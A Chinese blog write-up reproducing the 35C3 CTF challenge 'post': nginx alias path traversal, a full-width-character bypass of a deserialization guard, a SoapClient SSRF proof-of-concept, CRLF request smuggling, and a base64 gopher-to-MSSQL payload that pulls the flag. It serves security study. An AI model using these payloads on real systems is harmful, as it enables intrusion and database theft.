35c3-post复现

一道CTF题目的复现及分析。

环境&提示

docker环境:https://github.com/eboda/35c3/

1
2
3
4
5
Hint: flag is in db

Hint2: the lovely XSS is part of the beautiful design and insignificant for the challenge

Hint3: You probably want to get the source code, luckily for you it’s rather hard to configure nginx

nginx配置问题

首先扫一下目录,发现upload页面,存在任意文件读取。

image

配置文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
server {
listen 80;
access_log /var/log/nginx/example.log;

server_name localhost;

root /var/www/html;

location /uploads {
autoindex on;
alias /var/www/uploads/;
}

location / {
alias /var/www/html/;
index index.php;

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}
}

location /inc/ {
deny all;
}
}

server {
listen 127.0.0.1:8080;
access_log /var/log/nginx/proxy.log;

if ( $request_method !~ ^(GET)$ ) {
return 405;
}
root /var/www/miniProxy;
location / {
index index.php;

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}
}

}

这里参考ph的博客:https://www.leavesongs.com/PENETRATION/nginx-insecure-configuration.html

假设静态文件存储在/home/目录下,而该目录在url中名字为files,那么就需要用alias设置目录的别名,url上/files没有加后缀/,而alias设置的/home/是有后缀/的,这个/就导致我们可以从/home/目录穿越到他的上层目录。

1
2
3
location /files {
alias /home/;
}

代码审计

存数据:

1
2
3
4
5
6
7
8
9
10
public function save() {
global $USER;
if (is_null($this->id)) {
DB::insert("INSERT INTO posts (userid, title, content, attachment) VALUES (?,?,?,?)",
array($USER->uid, $this->title, $this->content, $this->attachment));
} else {
DB::query("UPDATE posts SET title = ?, content = ?, attachment = ? WHERE userid = ? AND id = ?",
array($this->title, $this->content, $this->attachment, $USER->uid, $this->id));
}
}

这里调用的DB类的insert和query方法,跟进一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
private static function prepare_params($params) {
return array_map(function($x){
if (is_object($x) or is_array($x)) {
return '$serializedobject$' . serialize($x);
}

if (preg_match('/^\$serializedobject\$/i', $x)) {
die("invalid data");
return "";
}

return $x;
}, $params);
}

private static function retrieve_values($res) {
$result = array();
while ($row = sqlsrv_fetch_array($res)) {
$result[] = array_map(function($x){
return preg_match('/^\$serializedobject\$/i', $x) ?
unserialize(substr($x, 18)) : $x;
}, $row);
}
return $result;
}

public static function query($sql, $values=array()) {
if (!is_array($values)) $values = array($values);
if (!DB::$init) DB::initialize();


$res = sqlsrv_query(DB::$con, $sql, $values);
if ($res === false) DB::error();

return DB::retrieve_values($res);
}

public static function insert($sql, $values=array()) {
if (!is_array($values)) $values = array($values);
if (!DB::$init) DB::initialize();

$values = DB::prepare_params($values);

$x = sqlsrv_query(DB::$con, $sql, $values);
if (!$x) throw new Exception;
}

通过代码可以发现,存数据之前对object或者array进行了一次序列化操作,并前面加上$serializedobject$标识符,如果可以伪造标识符在取数据是便可进行反序列化操作。

查看代码可知在存数据之前会对数据进行检查,如果发现以$serializedobject$开头会判定为非法数据。

mysql字符小trick

mysql会把全角字符转化为对应的ascii码,表示的字符是$是$的全角字符,可以利用这个trick绕过这个检查。

其他:

1
2
3
//都可以查找出数据为admin的记录。
select username from table where username='admin%2c';
select username from table where username='Àdmin';

具体原理参考ph的博客:https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html

SoapClient进行SSRF

之前曾经分析过SoapClient,当调用__call方法时会触发SoapClient类。传送门

在default.php下,实例化了post类,会调用post类的__tostring方法。

1
2
3
4
5
$posts = Post::loadall();
foreach($posts as $p) {
echo $p;
echo "<br><br>";
}

post类的tostring方法,tostring同时还会调用Attachment类的tostring方法。

post类:

1
2
3
4
5
6
7
8
9
10
public function __toString() {
$str = "<h2>{$this->title}</h2>";
$str .= $this->content;
$str .= "<hr>Attachments:<br><il>";
foreach ($this->attachment as $attach) {
$str .= "<li>$attach</li>";
}
$str .= "</il>";
return $str;
}

Attachment类:

1
2
3
4
5
6
7
8
public function __toString() {
$str = "<a href='{$this->url}'>".basename($this->url)."</a> ($this->mime ";
if (!is_null($this->za)) {
$this->za->open("../".$this->url);
$str .= "with ".$this->za->numFiles . " Files.";
}
return $str. ")";
}

通过Attachment类,我们可以发现$this->za->open()调用了一个方法。利用思路是,伪造content为Attachment实例,其中的$this->za是一个SoapClient实例,那么在展示content的时候就会触发Attachment的toString操作,从而触发SoapClient的call函数。

poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Attachment {
private $url = NULL;
private $za = NULL;
private $mime = NULL;

public function __construct() {
$this->url = "test";
$this->mime = "test"
$this->za = new SoapClient(null,array('location' => "http://127.0.0.1:8080",
'uri'=> "http://testtest/"));
}
}

$attachment = new Attachment();
echo '$serializedobject$'.serialize($attachment);

miniProxy

通过查看配置文件,存在一个8080端口并且只允许内网访问,接受的请求方式为GET,但SoapClient发送的请求为POST,可以利用CRLF漏洞绕过请求限制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
server {
listen 127.0.0.1:8080;
access_log /var/log/nginx/proxy.log;

if ( $request_method !~ ^(GET)$ ) {
return 405;
}
root /var/www/miniProxy;
location / {
index index.php;

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}
}

本地测试一下代理,尝试file协议能否读取文件,最后报错,跟踪一下报错的代码。

image

1
2
3
4
5
6
7
8
9
$scheme = parse_url($url, PHP_URL_SCHEME);
if (empty($scheme)) {
//Assume that any supplied URLs starting with // are HTTP URLs.
if (strpos($url, "//") === 0) {
$url = "http:" . $url;
}
} else if (!preg_match("/^https?$/i", $scheme)) {
die('Error: Detected a "' . $scheme . '" URL. miniProxy exclusively supports http[s] URLs.');
}

php小trick

根据刚才的代码,会对请求的schema进行请求,为空的话加上http,不为空检测是否为http或https类型。

1
2
$scheme = parse_url($url, PHP_URL_SCHEME);	// 遇到 gopher:/// 时会解析失败,返回false
empty($scheme) // empty(false) 为 true

或者使用一个 301 进行跳转

利用gopher协议打mssql

首先找到自己的uid,利用刚才的反序列化漏洞将数据插入到数据库最后读取flag.

1
2
3
4
5
6
7
if (!isset($_SESSION["username"]) && !in_array($page, array("login","register"))) {
header("Location: /?page=login");
die;
} else if (isset($_SESSION["username"])) {
$USER = new User($_SESSION["username"], $_SESSION["password"]);
if (isset($_SERVER["HTTP_DEBUG"])) var_dump($USER);
}

利用官方exp生成gopher

1
2
3
λ php -f exploit.php "insert into posts (userid,title,content,attachment) values (1,"test",(select flag form `flag`),"b");-- -"

JHNlcmlhbGl6ZWRvYmplY3TvvIRPOjEwOiJBdHRhY2htZW50IjoxOntzOjI6InphIjtPOjEwOiJTb2FwQ2xpZW50IjozOntzOjM6InVyaSI7czozNToiaHR0cDovL2xvY2FsaG9zdDo4MDgwL21pbmlQcm94eS5waHAiO3M6ODoibG9jYXRpb24iO3M6MzU6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9taW5pUHJveHkucGhwIjtzOjExOiJfdXNlcl9hZ2VudCI7czoxMzAzOiJBQUFBQUhhaGEKCkdFVCAvbWluaVByb3h5LnBocD9nb3BoZXI6Ly8vZGI6MTQzMy9BJTEyJTAxJTAwJTJGJTAwJTAwJTAxJTAwJTAwJTAwJTFBJTAwJTA2JTAxJTAwJTIwJTAwJTAxJTAyJTAwJTIxJTAwJTAxJTAzJTAwJTIyJTAwJTA0JTA0JTAwJTI2JTAwJTAxJUZGJTAwJTAwJTAwJTAxJTAwJTAxJTAyJTAwJTAwJTAwJTAwJTAwJTAwJTEwJTAxJTAwJURFJTAwJTAwJTAxJTAwJUQ2JTAwJTAwJTAwJTA0JTAwJTAwdCUwMCUxMCUwMCUwMCUwMCUwMCUwMCUwMFQwJTAwJTAwJTAwJTAwJTAwJTAwJUUwJTAwJTAwJTA4JUM0JUZGJUZGJUZGJTA5JTA0JTAwJTAwJTVFJTAwJTA3JTAwbCUwMCUwQSUwMCU4MCUwMCUwOCUwMCU5MCUwMCUwQSUwMCVBNCUwMCUwOSUwMCVCNiUwMCUwMCUwMCVCNiUwMCUwNyUwMCVDNCUwMCUwMCUwMCVDNCUwMCUwOSUwMCUwMSUwMiUwMyUwNCUwNSUwNiVENiUwMCUwMCUwMCVENiUwMCUwMCUwMCVENiUwMCUwMCUwMCUwMCUwMCUwMCUwMGElMDB3JTAwZSUwMHMlMDBvJTAwbSUwMGUlMDBjJTAwaCUwMGElMDBsJTAwbCUwMGUlMDBuJTAwZyUwMGUlMDByJTAwJUMxJUE1UyVBNVMlQTUlODMlQTUlQjMlQTUlODIlQTUlQjYlQTUlQjclQTVuJTAwbyUwMGQlMDBlJTAwLSUwMG0lMDBzJTAwcyUwMHElMDBsJTAwbCUwMG8lMDBjJTAwYSUwMGwlMDBoJTAwbyUwMHMlMDB0JTAwVCUwMGUlMDBkJTAwaSUwMG8lMDB1JTAwcyUwMGMlMDBoJTAwYSUwMGwlMDBsJTAwZSUwMG4lMDBnJTAwZSUwMCUwMSUwMSUwMCVFNiUwMCUwMCUwMSUwMCUxNiUwMCUwMCUwMCUxMiUwMCUwMCUwMCUwMiUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwMCUwMCUwMGklMDBuJTAwcyUwMGUlMDByJTAwdCUwMCUyMCUwMGklMDBuJTAwdCUwMG8lMDAlMjAlMDAlMjglMDB1JTAwcyUwMGUlMDByJTAwaSUwMGQlMDAlMkMlMDB0JTAwaSUwMHQlMDBsJTAwZSUwMCUyQyUwMGMlMDBvJTAwbiUwMHQlMDBlJTAwbiUwMHQlMDAlMkMlMDBhJTAwdCUwMHQlMDBhJTAwYyUwMGglMDBtJTAwZSUwMG4lMDB0JTAwJTI5JTAwJTIwJTAwdiUwMGElMDBsJTAwdSUwMGUlMDBzJTAwJTIwJTAwJTI4JTAwMSUwMCUyQyUwMHQlMDBlJTAwcyUwMHQlMDAlMkMlMDAlMjglMDBzJTAwZSUwMGwlMDBlJTAwYyUwMHQlMDAlMjAlMDBmJTAwbCUwMGElMDBnJTAwJTIwJTAwZiUwMG8lMDByJTAwbSUwMCUyMCUwMCU2MCUwMGYlMDBsJTAwYSUwMGclMDAlNjAlMDAlMjklMDAlMkMlMDBiJTAwJTI5JTAwJTNCJTAwLSUwMC0lMDAlMjAlMDAtJTAwJTNCJTAwLSUwMC0lMDAlMjAlMDAtJTAwIEhUVFAvMS4xCkhvc3Q6IGxvY2FsaG9zdAoKIjt9fQ==

用python发送这个base64解码之后的content,就可以打到flag了

Author: Sys71m
Link: https://www.sys71m.top/2019/01/20/35c3-post复现/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.